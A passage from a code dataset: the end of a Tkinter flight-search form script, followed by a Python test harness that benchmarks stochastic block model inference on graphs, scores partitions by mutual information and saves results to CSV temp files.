sticky=W)\ndepdate = Entry(window, width=20)\ndepdate.grid(row=5, column=1, sticky=W)\n\n# Return date widget\nlabel_retdate = tk.Label(text=\"Return Date\", font=(\"Helvetica\", 10), bg='black', fg='white')\nlabel_retdate.grid(row=6, column=0, sticky=W)\nretdate = Entry(window, width=20)\nretdate.grid(row=6, column=1, sticky=W)\n\n# Choose if you want notification via email or sms\nlabel_greeting1 = tk.Label(text=\"Select the way you want to receive notifications\", bg='black', fg='white',\n font=(\"Helvetica\", 12))\nlabel_greeting1.grid(row=8, column=0, sticky=W)\n\nlabel_email = tk.Label(text=\"Email\", font=(\"Helvetica\", 10), bg='black', fg='white')\nlabel_email.grid(row=10, column=0, sticky=W)\nemail = Entry(window, width=50)\nemail.grid(row=10, column=1, sticky=W)\n\nlabel_mobile = tk.Label(text=\"Mobile\", font=(\"Helvetica\", 10), bg='black', fg='white')\nlabel_mobile.grid(row=11, column=0, sticky=W)\nmobile = Entry(window, width=50)\nmobile.grid(row=11, column=1, sticky=W)\n\n# Submit Button widget\nsubmit_button = Button(window, text='Submit', width=6, command=get_values(fromairport=fromairport,\n toairport=toairport, depdate=depdate,\n retdate=retdate, email=email,\n mobile=mobile)).grid(row=12, column=1,\n sticky=E)\nwindow.mainloop()\n","repo_name":"SofiaChalk/Flight-Scraping","sub_path":"app-tkinter.py","file_name":"app-tkinter.py","file_ext":"py","file_size_in_byte":3788,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"12144388684","text":"import time\n\nimport networkx as nx\nimport csv\n\nfrom MolRep.Interactions.link_models.CFLP.pysbm import sbm\nfrom MolRep.Interactions.link_models.CFLP.pysbm.parallel_execution import parallel_execution\nfrom MolRep.Interactions.link_models.CFLP.pysbm.parallel_execution import TEMP_DIRECTORY\nfrom MolRep.Interactions.link_models.CFLP.pysbm.parallel_execution import TEMP_FILE_NAMES\nfrom MolRep.Interactions.link_models.CFLP.pysbm.parallel_execution import SUCCESS_MESSAGE_AND_SAVE_EVERY_X_PERCENT\nfrom MolRep.Interactions.link_models.CFLP.pysbm.test_ground import NormalizedMutualInformation, PlantedPartitionGenerator, SBMGenerator, SimplePartition\nimport random as rd\nimport os\nimport pickle\nimport math\nimport typing\nfrom collections import namedtuple\n\nfrom sklearn.metrics import adjusted_mutual_info_score as adjusted_mutual_information\n\n# @formatter:off\ndef apply_inference_algorithm(objective_function_class,\n inference_algorithm_class,\n graph,\n search_in_range,\n number_of_times=1,\n starting_representation=None,\n inference_execution_parameters=None,\n inference_creation_parameters=None,\n objective_function_creation_parameters=None,\n ):\n \"\"\"\n Function to apply inference algorithm with a given objective function and partition\n :param objective_function_class: class reference to an objective function\n :type objective_function_class class sbm.ObjectiveFunction\n :param inference_algorithm_class: class reference to an inference algorithm\n :type inference_algorithm_class class sbm.Inference\n :param graph: graph for clustering\n :type graph nx.Graph\n :param search_in_range: range for number of blocks for partition\n :type search_in_range typing.Iterable(int)\n :param starting_representation: If given the algorithm starts from the given partition instead of a random one\n :type starting_representation dict\n :param number_of_times: number of executions\n :type number_of_times int\n :param inference_execution_parameters: parameters for execution of inference algorithm\n :param inference_creation_parameters: parameters for creation of inference class\n :param objective_function_creation_parameters: parameters for creation of objective function\n :return: resulting partition, needed cpu time, needed node moves, number of calculated deltas\n \"\"\"\n if len(search_in_range) > 1 and starting_representation is not None:\n raise ValueError(\"Starting partition and search range for number of blocks with at least 2 members given!\")\n results_by_group_size = {}\n for number_of_blocks in search_in_range:\n results = []\n for _ in range(number_of_times):\n if issubclass(inference_algorithm_class, sbm.HierarchicalInference):\n # if hierarchical version of SBM need hierarchical partition\n if starting_representation is None:\n partition = sbm.NxHierarchicalPartition(graph=graph)\n else:\n raise ValueError(\"Starting representation for hierarchy not allowed\")\n elif inference_algorithm_class is sbm.KerninghanLinInference:\n # if KL algorithm we need to keep the number of blocks either this\n if starting_representation is None:\n partition = sbm.NxPartitionWithMoveCounter(graph=graph, number_of_blocks=number_of_blocks)\n # or\n # partition = sbm.NxPartitionGraphBasedWithMoveCounter(graph=graph,\n # number_of_blocks=number_of_blocks)\n # partition.with_empty_blocks = True\n else:\n partition = sbm.NxPartitionWithMoveCounter(graph=graph,\n fill_random=False,\n representation=starting_representation)\n\n else:\n if starting_representation is None:\n partition = sbm.NxPartitionGraphBasedWithMoveCounter(graph=graph, number_of_blocks=number_of_blocks)\n else:\n partition = sbm.NxPartitionGraphBasedWithMoveCounter(graph=graph,\n fill_random=False,\n representation=starting_representation)\n\n used_cpu_time_start = time.process_time()\n if inference_execution_parameters is None:\n inference_execution_parameters = ()\n if inference_creation_parameters is None:\n inference_creation_parameters = ()\n if objective_function_creation_parameters is None:\n objective_function_creation_parameters = ()\n\n objective_function = objective_function_class(partition.is_graph_directed(),\n *objective_function_creation_parameters)\n calculated_deltas_start = objective_function.number_of_calculated_deltas\n # create inference algorithm instance for this run\n if issubclass(inference_algorithm_class, sbm.HierarchicalInference):\n inference_algorithm = inference_algorithm_class(graph,\n objective_function,\n partition,\n objective_function.calculate_delta_actual_level_removed,\n *inference_creation_parameters)\n else:\n inference_algorithm = inference_algorithm_class(graph, objective_function,\n partition, *inference_creation_parameters)\n # set direction attribute of objective function to correct value\n objective_function.is_directed = partition.is_graph_directed()\n # now run the inference algorithm\n inference_algorithm.infer_stochastic_block_model(*inference_execution_parameters)\n used_cpu_time_end = time.process_time()\n used_cpu_time = used_cpu_time_end - used_cpu_time_start\n calculated_deltas_end = objective_function.number_of_calculated_deltas\n calculated_deltas = calculated_deltas_end - calculated_deltas_start\n try:\n node_moves = partition.node_moves\n except AttributeError:\n node_moves = 0\n results.append((inference_algorithm.partition.get_representation(), used_cpu_time, node_moves,\n calculated_deltas, objective_function.calculate(inference_algorithm.partition)))\n results_by_group_size[number_of_blocks] = results\n return results_by_group_size\n\n\n# @formatter:on\n\n\nclass SingleNetworkTest:\n \"\"\"Object containing a single graph with all known relevant information\"\"\"\n\n def __init__(self, network, true_partition=None, information=None, additional_information=None):\n \"\"\"\n\n :param network: Network where the test runs should be executed\n :type network nx.Graph\n :param true_partition: If available the true partition or metadata information\n :type true_partition dict\n :param information: Unique description of the data\n :type information Hashable\n :param additional_information: Further may non unique or non hashable data\n :type additional_information Any\n \"\"\"\n self.network = network\n self._true_partition = true_partition\n if true_partition is not None:\n self._true_number_of_blocks = max(true_partition.values()) + 1\n else:\n self._true_number_of_blocks = None\n self._normalized_mutual_information = None\n self.information = information\n self.additional_information = additional_information\n\n @property\n def true_partition(self):\n if self._true_partition is not None:\n return self._true_partition\n raise ValueError(\"No true partition supplied\")\n\n @property\n def true_number_of_blocks(self):\n if self._true_number_of_blocks is not None:\n return self._true_number_of_blocks\n raise ValueError(\"No true partition supplied\")\n\n @property\n def normalized_mutual_information(self):\n if self._normalized_mutual_information is None:\n self._normalized_mutual_information = NormalizedMutualInformation(self.true_partition)\n return self._normalized_mutual_information\n\n def apply_inference_algorithm(self,\n inference_algorithm_class,\n objective_function_class,\n inference_execution_parameters=None,\n inference_creation_parameters=None,\n objective_function_creation_parameters=None,\n number_of_blocks=None,\n number_of_times=1,\n starting_representation=None,\n ):\n \"\"\"\n Apply inference algorithm to contained network and pass to the algorithm the true number of blocks\n :param inference_algorithm_class: create inference algorithm from this class\n :type inference_algorithm_class class sbm.Inference\n :param objective_function_class: target function to be passed to the inference algorithm\n :type objective_function_class class sbm.ObjectiveFunction\n :param inference_execution_parameters: parameters for execution of inference algorithm\n :param inference_creation_parameters: parameters for creation of inference class\n :param objective_function_creation_parameters: parameters for creation of objective function\n :param number_of_blocks: number of blocks\n :param number_of_times: number of executions\n :return:\n \"\"\"\n if number_of_blocks is None:\n # create new partition for this run with the true number of blocks\n number_of_blocks = self.true_number_of_blocks\n return apply_inference_algorithm(objective_function_class,\n inference_algorithm_class,\n self.network,\n [number_of_blocks],\n number_of_times,\n starting_representation,\n inference_execution_parameters,\n inference_creation_parameters,\n objective_function_creation_parameters,\n )[number_of_blocks]\n\n def get_parameters_for_apply_inference_algorithm_on_graph_with_given_number_of_blocks(\n self,\n inference_algorithm_class,\n objective_function_class,\n search_in_range=None,\n number_of_times=1,\n start_from_true_partition=False,\n ):\n if search_in_range is None:\n # create new partition for this run with the true number of blocks\n search_in_range = self.true_number_of_blocks\n if start_from_true_partition:\n starting_representation = self.true_partition\n else:\n starting_representation = None\n return objective_function_class, inference_algorithm_class, self.network, search_in_range, number_of_times, \\\n starting_representation,\n\n def compare_partition_with_ground_truth_nmi(self, partition):\n \"\"\"\n Compare given partition with the metadata or planted partition\n :param partition: any partition of the same network\n :type partition typing.Union[sbm.Partition, SimplePartition)\n :return:\n \"\"\"\n return self.normalized_mutual_information.evaluate(partition)\n\n def compare_partition_with_ground_truth_ami(self, representation):\n \"\"\"\n Compare given partition with the metadata or planted partition\n :param representation: any partition of the same network\n :type representation dict\n :return:\n \"\"\"\n return adjusted_mutual_information([self.true_partition[node] for node in representation],\n [representation[node] for node in representation])\n\n def calculate_random_partition_nmi(self, number_of_random_partitions, number_of_groups=None):\n if number_of_groups is None:\n number_of_groups = self.true_number_of_blocks\n if number_of_groups < 1:\n raise ValueError\n\n values = []\n nodes = list(self.network.nodes)\n for _ in range(number_of_random_partitions):\n # create random partitions\n representation = {}\n # assign each node a random block\n for node in nodes:\n representation[node] = rd.randrange(0, number_of_groups)\n\n # ensure that in each block is at least one node\n for group in range(number_of_groups):\n representation[rd.choice(nodes)] = group\n\n # calculate nmi\n values.append(self.normalized_mutual_information.evaluate(SimplePartition(representation)))\n return values\n\n\n# @formatter:off\nclass TestGround:\n EXCLUSION_FILE_NAME = \"exclude.csv\"\n\n NEW_HEADER_LINE = [\"network information\",\n \"inference short title\",\n \"objective function short title\",\n \"number of blocks\",\n \"true partition?\",\n \"cpu time\",\n \"node moves\",\n \"# deltas\",\n \"objective function value\",\n \"node block assignments based on sorted nodes...\"]\n\n NEW_HEADER_LINE_EVALUATED = [\"network information\",\n \"inference short title\",\n \"objective function short title\",\n \"number of blocks\",\n \"true partition?\",\n \"Evaluated results\"]\n\n NORMALIZED_MUTUAL_INFORMATION = \"NMI\"\n ADJUSTED_MUTUAL_INFORMATION = \"AMI_max\"\n\n def __init__(self, tests, inference_classes, objective_function_classes, inference_execution_parameters=None,\n inference_creation_parameters=None, objective_function_creation_parameters=None):\n \"\"\"\n Container of tests, SBM variances and inference methods with useful methods like (parallel) bulk execution\n :param tests: test cases for the execution\n :type tests typing.Iterable[SingleNetworkTest]\n :param inference_classes: methods for inference\n :type inference_classes typing.Iterable[class sbm.Inference]\n :param objective_function_classes: objective functions of (different) SBM variants\n :type objective_function_classes typing.Iterable[class sbm.objective_function]\n :param inference_execution_parameters: parameters for execution of specific inference classes\n :type inference_execution_parameters typing.Dict[class sbm.Inference, typing.Any]\n :param inference_creation_parameters: parameters for creation of inference classes\n :type inference_creation_parameters typing.Dict[class sbm.Inference, typing.Any]\n :param objective_function_creation_parameters: parameters for creating of objective function\n :type objective_function_creation_parameters typing.Dict[class sbm.objective_function, typing.Any]\n \"\"\"\n self.tests = tests\n self.inference_classes = inference_classes\n self.objective_function_classes = objective_function_classes\n self.results_of_all_executions = {}\n self.evaluated_results = {}\n if inference_execution_parameters is None:\n inference_execution_parameters = {}\n if inference_creation_parameters is None:\n inference_creation_parameters = {}\n if objective_function_creation_parameters is None:\n objective_function_creation_parameters = {}\n\n self.inference_execution_parameters = inference_execution_parameters\n self.inference_creation_parameters = inference_creation_parameters\n self.objective_function_creation_parameters = objective_function_creation_parameters\n self._number_of_total_executions = 0\n\n # avoid usage of pickle\n self.use_flat_saving = True\n\n # save memory by not keeping results in RAM and save them instead into the files\n self.save_memory = True\n\n @staticmethod\n def _get_search_range(network, search_in_range=None):\n if search_in_range is None:\n return [network.true_number_of_blocks]\n else:\n return search_in_range\n\n def execute_tests(self, search_in_range=None, start_from_true_partition=False):\n results = {\n (network_test,\n inference_class,\n inference_creation_parameters,\n inference_execution_parameters,\n objective_function_class,\n objective_function_creation_parameters,\n number_of_blocks,\n start_from_true_partition,\n ): None\n for network_test in self.tests\n for inference_class in self.inference_classes\n for inference_creation_parameters in self.inference_creation_parameters.get(inference_class, [None])\n for inference_execution_parameters in self.inference_execution_parameters.get(inference_class, [None])\n for objective_function_class in self.objective_function_classes\n for objective_function_creation_parameters in\n self.objective_function_creation_parameters.get(objective_function_class, [None])\n for number_of_blocks in self._get_search_range(network_test, search_in_range)\n }\n for key in results:\n network_test, inference_class, inference_creation_parameters, inference_execution_parameters, \\\n objective_function_class, objective_function_creation_parameters, number_of_blocks, \\\n is_from_starting_partition = key\n\n if is_from_starting_partition:\n starting_representation = network_test.true_partition\n else:\n starting_representation = None\n\n results[key] = network_test.apply_inference_algorithm(\n inference_class, objective_function_class,\n inference_creation_parameters=inference_creation_parameters,\n inference_execution_parameters=inference_execution_parameters,\n objective_function_creation_parameters=objective_function_creation_parameters,\n number_of_blocks=number_of_blocks,\n starting_representation=starting_representation,\n )\n\n if key not in self.results_of_all_executions:\n self.results_of_all_executions[key] = []\n self.results_of_all_executions[key].extend(results[key])\n\n self._number_of_total_executions += 1\n return results\n\n def _read_temp_files(self, search_in_range, number_of_times, temp_file_path=None, only_old_data=False,\n return_only_keys=False):\n old_saved_results_path = TEMP_DIRECTORY + \"/\" + TEMP_FILE_NAMES + \"0\"\n if self.use_flat_saving:\n old_saved_results_path += \".csv\"\n\n try:\n old_saved_results = self._check_and_read_file(old_saved_results_path, search_in_range, number_of_times,\n already_extended=True)\n except FileNotFoundError:\n print(\"No file\", old_saved_results_path)\n old_saved_results = {}\n except ValueError as exc:\n print(exc)\n old_saved_results = {}\n\n function_call_results = {}\n if not only_old_data:\n last_file_path = temp_file_path\n\n if last_file_path is None:\n for i in range(1, round(math.ceil(100 / SUCCESS_MESSAGE_AND_SAVE_EVERY_X_PERCENT) + 1)):\n file_path = TEMP_DIRECTORY + \"/\" + TEMP_FILE_NAMES \\\n + str(SUCCESS_MESSAGE_AND_SAVE_EVERY_X_PERCENT * i)\n if self.use_flat_saving:\n file_path += \".csv\"\n if os.path.exists(file_path):\n if self.save_memory:\n try:\n intermediate_result = self._check_and_read_file(file_path,\n search_in_range,\n number_of_times,\n already_extended=self.use_flat_saving\n )\n except ValueError as exc:\n print(exc)\n else:\n print(\"Loaded \", len(intermediate_result), \"from file\", file_path)\n function_call_results.update(intermediate_result)\n else:\n last_file_path = file_path\n continue\n else:\n break\n\n if last_file_path is not None and not self.save_memory:\n try:\n function_call_results = self._check_and_read_file(last_file_path,\n search_in_range,\n number_of_times,\n already_extended=self.use_flat_saving\n )\n except ValueError as exc:\n print(exc)\n\n mapped_results = {}\n mapped_results.update(old_saved_results)\n mapped_results.update(function_call_results)\n\n print(\"Loaded \", len(mapped_results), \"from saved temporary files\")\n if mapped_results:\n if self.use_flat_saving:\n self.save_results_flat(mapped_results, old_saved_results_path, unpack_results_first=False)\n else:\n with open(old_saved_results_path, \"wb\") as file:\n pickle.dump(mapped_results, file, protocol=pickle.HIGHEST_PROTOCOL)\n print(\"Saved\", len(mapped_results), \"to\", old_saved_results_path)\n\n if not only_old_data and function_call_results:\n # only delete files if there are consumed, i.e. read and included in above summary\n # and something was read in -> else no correct files or no files at all\n self._clean_temp_files(start=1)\n\n if return_only_keys:\n keys = set()\n for long_key in mapped_results:\n # add without number of blocks\n keys.add(long_key[:-2] + long_key[-1:])\n return keys\n\n return mapped_results\n\n def _check_and_read_file(self, file_path, search_in_range, number_of_times, already_extended=False):\n\n if self.use_flat_saving:\n if not already_extended:\n raise ValueError(\"Flat saving and not extended impossible!\")\n saved_result = self.read_results_flat(file_path)\n else:\n with open(file_path, \"rb\") as file:\n saved_result = pickle.load(file)\n\n # check if the result are from the same data\n network_set = set()\n inference_set = set()\n inference_creation_parameters_set = set()\n inference_execution_parameters_set = set()\n objective_function_classes_set = set()\n objective_function_creation_parameters_set = set()\n # reduce to inputs\n for key in saved_result:\n # flat saving is always extended\n network_test, inference_class, inference_creation_parameters, inference_execution_parameters, \\\n objective_function_class, objective_function_creation_parameters = key[:6]\n\n network_set.add(network_test)\n inference_set.add(inference_class)\n if inference_creation_parameters is not None:\n inference_creation_parameters_set.add((inference_class, inference_creation_parameters))\n if inference_execution_parameters is not None:\n inference_execution_parameters_set.add((inference_class, inference_execution_parameters))\n objective_function_classes_set.add(objective_function_class)\n if objective_function_creation_parameters is not None:\n objective_function_creation_parameters_set.add(\n (objective_function_class, objective_function_creation_parameters))\n\n for inference_class in inference_set:\n for check_inference_class in self.inference_classes:\n if inference_class == check_inference_class:\n break\n else:\n # nothing found => different results\n raise ValueError(\"File \", file_path, \"found, but different inferences\")\n\n for inference_class, inference_creation_parameters in inference_creation_parameters_set:\n if inference_class not in self.inference_creation_parameters:\n raise ValueError(\"File \", file_path, \"found, but different inferences creation parameters\")\n for check_parameters in self.inference_creation_parameters[inference_class]:\n if check_parameters == inference_creation_parameters:\n break\n else:\n raise ValueError(\"File \", file_path, \"found, but different inferences creation parameters\")\n\n for inference_class, inference_execution_parameters in inference_execution_parameters_set:\n if inference_class not in self.inference_execution_parameters:\n raise ValueError(\"File \", file_path, \"found, but different inferences execution parameters\")\n for check_parameters in self.inference_execution_parameters[inference_class]:\n if check_parameters == inference_execution_parameters:\n break\n else:\n raise ValueError(\"File \", file_path, \"found, but different inferences execution parameters\")\n\n for objective_function_class in objective_function_classes_set:\n for check_parameters in self.objective_function_classes:\n if objective_function_class == check_parameters:\n break\n else:\n raise ValueError(\"File \", file_path, \"found, but different objective_functions\")\n\n for objective_function_class, objective_function_creation_parameters \\\n in objective_function_creation_parameters_set:\n\n if objective_function_class not in self.objective_function_creation_parameters:\n raise ValueError(\"File \", file_path, \"found, but different objective_functions creation parameters\")\n\n for check_parameters in self.objective_function_creation_parameters[objective_function_class]:\n if check_parameters == objective_function_creation_parameters:\n break\n else:\n raise ValueError(\"File \", file_path, \"found, but different objective_functions creation parameters\")\n\n network_mapping = {}\n for network_test in network_set:\n for check_network_test in self.tests:\n if network_test.network.edges() == check_network_test.network.edges():\n network_mapping[network_test] = check_network_test\n break\n else:\n # not identical\n raise ValueError(\"File \", file_path, \"found, but different networks\")\n\n # every check is okay\n # exchange references of network_test\n mapped_results = {}\n included_blocks_by_short_key = {}\n for key in saved_result:\n new_key = (network_mapping[key[0]],) + key[1:]\n if not (already_extended or self.use_flat_saving):\n results_by_number_of_blocks = saved_result[key]\n # check if same region to test\n if list(results_by_number_of_blocks.keys()) != \\\n list(self._get_search_range(network_mapping[key[0]], search_in_range)):\n raise ValueError(\"File \", file_path, \"found, but different search range\")\n # unpack values\n for number_of_blocks in results_by_number_of_blocks:\n mapped_results[new_key[:-1] + (number_of_blocks,) + new_key[-1:]] = \\\n results_by_number_of_blocks[number_of_blocks]\n # check number of times\n if len(results_by_number_of_blocks[number_of_blocks]) != number_of_times:\n raise ValueError(\"File \", file_path, \"found, but different number of times\")\n else:\n if len(saved_result[key]) != number_of_times:\n raise ValueError(\"File \", file_path, \"found, but different number of times\")\n mapped_results[new_key] = saved_result[key]\n # prepare check of search range\n if len(key) == 8:\n # new format with flag for from start point\n short_key = key[:-2]\n number_of_blocks = key[-2]\n else:\n # old format\n short_key = key[:-1]\n number_of_blocks = key[-1]\n if short_key not in included_blocks_by_short_key:\n included_blocks_by_short_key[short_key] = set()\n\n included_blocks_by_short_key[short_key].add(number_of_blocks)\n\n if already_extended or self.use_flat_saving:\n for key in included_blocks_by_short_key:\n if set(self._get_search_range(key[0], search_in_range)) != included_blocks_by_short_key[key]:\n raise ValueError(\"File \", file_path, \"found, but different search range\")\n\n return mapped_results\n\n def _clean_temp_files(self, start=0):\n deleted_file_counter = 0\n for i in range(start, round(math.ceil(100 / SUCCESS_MESSAGE_AND_SAVE_EVERY_X_PERCENT) + 1)):\n file_path = TEMP_DIRECTORY + \"/\" + TEMP_FILE_NAMES + str(SUCCESS_MESSAGE_AND_SAVE_EVERY_X_PERCENT * i)\n if self.use_flat_saving:\n file_path += \".csv\"\n try:\n os.remove(file_path)\n except FileNotFoundError:\n pass\n else:\n deleted_file_counter += 1\n print(\"Deleted\", deleted_file_counter, \"temporary files\")\n\n def create_simple_exclusion_file(self, number_of_times=1, search_in_range=None, temp_file_path=None):\n\n # if wanted check temp files\n if not os.path.exists(TEMP_DIRECTORY):\n raise FileNotFoundError(\"No directory \" + str(TEMP_DIRECTORY) + \" found\")\n\n # read keys\n done_keys = self._read_temp_files(search_in_range, number_of_times, temp_file_path, return_only_keys=True)\n\n # write csv file\n file_path = TEMP_DIRECTORY + \"/\" + self.EXCLUSION_FILE_NAME\n with open(file_path, 'w', newline='') as csv_file:\n writer = csv.writer(csv_file, dialect=csv.excel)\n\n for key in done_keys:\n network_test = key[0]\n inference_class = key[1]\n inference_creation_parameters = key[2]\n if inference_creation_parameters is not None:\n raise NotImplementedError()\n inference_execution_parameters = key[3]\n if inference_execution_parameters is not None:\n raise NotImplementedError()\n objective_function_class = key[4]\n objective_function_creation_parameters = key[5]\n if objective_function_creation_parameters is not None:\n raise NotImplementedError()\n\n writer.writerow([str(network_test.information),\n inference_class.short_title,\n objective_function_class.short_title])\n\n def _create_mapping_dicts(self):\n # create simple mapping\n network_mapping = {}\n for network_test in self.tests:\n information = str(network_test.information)\n if information in network_mapping:\n raise ValueError(\"Two network test with same information: \", information)\n network_mapping[information] = network_test\n\n inference_mapping = {}\n for inference_class in self.inference_classes:\n title = inference_class.short_title\n if title in inference_mapping:\n raise ValueError(\"Two inferences with same title: \", title)\n inference_mapping[title] = inference_class\n\n objective_mapping = {}\n for objective_function_class in self.objective_function_classes:\n title = objective_function_class.short_title\n if title in objective_mapping:\n raise ValueError(\"Two objectives with same title: \", title)\n objective_mapping[title] = objective_function_class\n\n return network_mapping, inference_mapping, objective_mapping\n\n def read_simple_exclusion_file(self):\n\n network_mapping, inference_mapping, objective_mapping = self._create_mapping_dicts()\n\n file_path = TEMP_DIRECTORY + \"/\" + self.EXCLUSION_FILE_NAME\n keys = set()\n try:\n with open(file_path, 'r', newline='') as csv_file:\n reader = csv.reader(csv_file, dialect=csv.excel)\n\n for row in reader:\n network_test_information = row[0]\n inference_class_title = row[1]\n objective_function_class_title = row[2]\n\n network_test = network_mapping[network_test_information]\n inference_class = inference_mapping[inference_class_title]\n objective_function_class = objective_mapping[objective_function_class_title]\n\n key = network_test, inference_class, None, None, objective_function_class, None\n\n keys.add(key)\n except FileNotFoundError:\n pass\n\n return keys\n\n @staticmethod\n def save_results_flat(results_dict, file_path, unpack_results_first=True, is_evaluated_results=False):\n if unpack_results_first and not is_evaluated_results:\n # if needed unpack results before writing\n results = {}\n for key, results_by_number_of_block in results_dict.items():\n for number_of_blocks in results_by_number_of_block:\n results[key[:-1] + (number_of_blocks,) + key[-1:]] = results_by_number_of_block[number_of_blocks]\n else:\n results = results_dict\n\n # create header row\n if is_evaluated_results:\n lines = [TestGround.NEW_HEADER_LINE_EVALUATED]\n else:\n lines = [TestGround.NEW_HEADER_LINE]\n\n # loop over results and create one line per entry\n for key, result_per_execution in results.items():\n network_test, inference_class, inference_creation_parameters, inference_execution_parameters, \\\n objective_function_class, objective_function_creation_parameters, number_of_blocks, \\\n start_from_true_partition = key\n\n # first basic checks if advanced parameters are none, because saving of them could be more complicated\n if inference_creation_parameters is not None:\n print(\"Inference creation parameter is not none, line skipped in saving\")\n continue\n if inference_execution_parameters is not None:\n print(\"Inference execution parameter is not none, line skipped in saving\")\n continue\n if objective_function_creation_parameters is not None:\n print(\"Objective function creation parameter is not none, line skipped in saving\")\n continue\n\n if is_evaluated_results:\n # add information with static length and position\n line = [network_test.information,\n inference_class.short_title,\n objective_function_class.short_title,\n number_of_blocks,\n \"T\" if start_from_true_partition else \"F\",\n ]\n # add evaluated values\n line.extend(result_per_execution)\n\n lines.append(line)\n else:\n for result in result_per_execution:\n # add information with static length and position\n line = [network_test.information,\n inference_class.short_title,\n objective_function_class.short_title,\n number_of_blocks,\n \"T\" if start_from_true_partition else \"F\",\n result[1],\n result[2],\n result[3],\n result[4]\n ]\n\n # create representation of partition\n representation = result[0]\n # distinguish between hierarchy representation and normal flat representation\n if issubclass(inference_class, sbm.HierarchicalInference):\n sorted_block_assignments = []\n for representation_level in representation:\n sorted_block_assignments.extend(representation_level[node]\n for node in sorted(representation_level))\n else:\n sorted_block_assignments = [representation[node] for node in sorted(representation)]\n\n line.extend(sorted_block_assignments)\n\n lines.append(line)\n\n # write file\n # mark as csv file if not already done\n if file_path[-4:] != \".csv\":\n file_path += \".csv\"\n\n with open(file_path, \"w\", newline=\"\") as csv_file:\n writer = csv.writer(csv_file, dialect=csv.excel)\n writer.writerows(lines)\n\n return file_path\n\n def read_results_flat(self, file_path, is_evaluated_results=False):\n\n # get mapping\n network_mapping, inference_mapping, objective_mapping = self._create_mapping_dicts()\n\n # mark as csv file if not already done\n if file_path[-4:] != \".csv\":\n file_path += \".csv\"\n\n result = {}\n with open(file_path, \"r\", newline=\"\") as csv_file:\n # skip header row\n if is_evaluated_results:\n formated_header = \",\".join(self.NEW_HEADER_LINE_EVALUATED)\n else:\n formated_header = \",\".join(self.NEW_HEADER_LINE)\n if csv_file.readline()[:len(formated_header)] != formated_header:\n new_format = False\n else:\n new_format = True\n reader = csv.reader(csv_file, dialect=csv.excel)\n\n for line in reader:\n network_information = line[0]\n inference_short_title = line[1]\n objective_short_title = line[2]\n number_of_blocks = int(line[3])\n if new_format:\n offset = 1\n start_from_true_partition = True if line[4] == 'T' else False\n else:\n offset = 0\n start_from_true_partition = False\n\n try:\n network_test = network_mapping[network_information]\n except KeyError:\n raise ValueError(\"Wrong network information\")\n try:\n inference_class = inference_mapping[inference_short_title]\n except KeyError:\n raise ValueError(\"Wrong inference short title\")\n try:\n objective_function_class = objective_mapping[objective_short_title]\n except KeyError:\n raise ValueError(\"Wrong objective short title\")\n\n key = network_test, inference_class, None, None, objective_function_class, None, number_of_blocks, \\\n start_from_true_partition\n\n if is_evaluated_results:\n evaluated_values = []\n for raw_value in line[(4+offset):]:\n evaluated_values.append(float(raw_value))\n\n if key not in result:\n result[key] = evaluated_values\n else:\n raise KeyError(\"Read key \" + str(key) + \" twice\")\n\n else:\n cpu_time = float(line[4 + offset])\n node_moves = int(line[5 + offset])\n deltas = int(line[6 + offset])\n objective_function_value = float(line[7 + offset])\n sorted_block_assignment = line[8 + offset:]\n\n # build representation\n # distinguish between hierarchy representation and normal flat representation\n if issubclass(inference_class, sbm.HierarchicalInference):\n representation = []\n level_representation = {}\n read_blocks = 0\n for i, node in enumerate(sorted(network_test.network.nodes)):\n level_representation[node] = int(sorted_block_assignment[i])\n\n representation.append(level_representation)\n\n read_blocks += len(level_representation)\n while len(sorted_block_assignment) > read_blocks:\n max_level = max(level_representation.values()) + 1\n level_representation = {}\n\n if len(sorted_block_assignment) < max_level + read_blocks:\n raise ValueError(\"Representation not long enough\")\n\n for block in range(max_level):\n level_representation[block] = int(sorted_block_assignment[read_blocks + block])\n\n read_blocks += max_level\n representation.append(level_representation)\n else:\n representation = {}\n for i, node in enumerate(sorted(network_test.network.nodes)):\n representation[node] = int(sorted_block_assignment[i])\n\n if key not in result:\n result[key] = []\n result[key].append((representation, cpu_time, node_moves, deltas, objective_function_value))\n\n return result\n\n def determine_parallel_arguments(self, number_of_times=1, search_in_range=None, check_temp_files=False,\n check_simple_exclusion_file=True, temp_file_path=None,\n start_from_true_partition=False):\n keyed_arguments = {\n (network_test, inference_class, inference_creation_parameters, inference_execution_parameters,\n objective_function_class, objective_function_creation_parameters, start_from_true_partition):\n network_test.get_parameters_for_apply_inference_algorithm_on_graph_with_given_number_of_blocks(\n inference_class,\n objective_function_class,\n self._get_search_range(network_test, search_in_range),\n number_of_times,\n start_from_true_partition,\n )\n + (inference_execution_parameters,\n inference_creation_parameters,\n objective_function_creation_parameters)\n\n for network_test in self.tests\n for inference_class in self.inference_classes\n for inference_creation_parameters in self.inference_creation_parameters.get(inference_class, [None])\n for inference_execution_parameters in self.inference_execution_parameters.get(\n inference_class, [None])\n for objective_function_class in self.objective_function_classes\n for objective_function_creation_parameters in\n self.objective_function_creation_parameters.get(objective_function_class, [None])\n }\n\n # if wanted check temp files\n if check_temp_files and os.path.exists(TEMP_DIRECTORY):\n done_keys = self._read_temp_files(search_in_range, number_of_times, temp_file_path, return_only_keys=True)\n # delete already finished results\n for key in done_keys:\n del keyed_arguments[key]\n\n if check_simple_exclusion_file:\n done_keys = self.read_simple_exclusion_file()\n # delete already finished results\n for key in done_keys:\n del keyed_arguments[key]\n\n return keyed_arguments\n\n def execute_tests_parallel(self, max_workers=1, timeout=10, add_results_to_internal_storage=True, arguments=None,\n number_of_times=1, search_in_range=None, check_temp_files=True, temp_file_path=None,\n start_from_true_partition=False,\n ):\n if arguments is None:\n keyed_arguments = self.determine_parallel_arguments(\n number_of_times=number_of_times,\n search_in_range=search_in_range,\n check_temp_files=check_temp_files,\n temp_file_path=temp_file_path,\n start_from_true_partition=start_from_true_partition,\n )\n else:\n keyed_arguments = arguments\n\n results = {}\n\n if search_in_range is None:\n time_multiplier = 1\n else:\n time_multiplier = len(search_in_range)\n\n if self.use_flat_saving:\n save_method = self.save_results_flat\n else:\n save_method = None\n\n raw_results, errors_raw = parallel_execution(\n apply_inference_algorithm,\n keyed_arguments,\n max_workers=max_workers,\n maximum_time_per_function_call=timeout * number_of_times * time_multiplier,\n save_method=save_method,\n save_memory=self.save_memory\n )\n\n # load old data\n if check_temp_files and os.path.exists(TEMP_DIRECTORY):\n # load saved data, if no memory saving is performed only results of previous may aborted run (_0 file)\n # will be included\n # with memory saving all files will be read and included\n results = self._read_temp_files(search_in_range, number_of_times, only_old_data=not 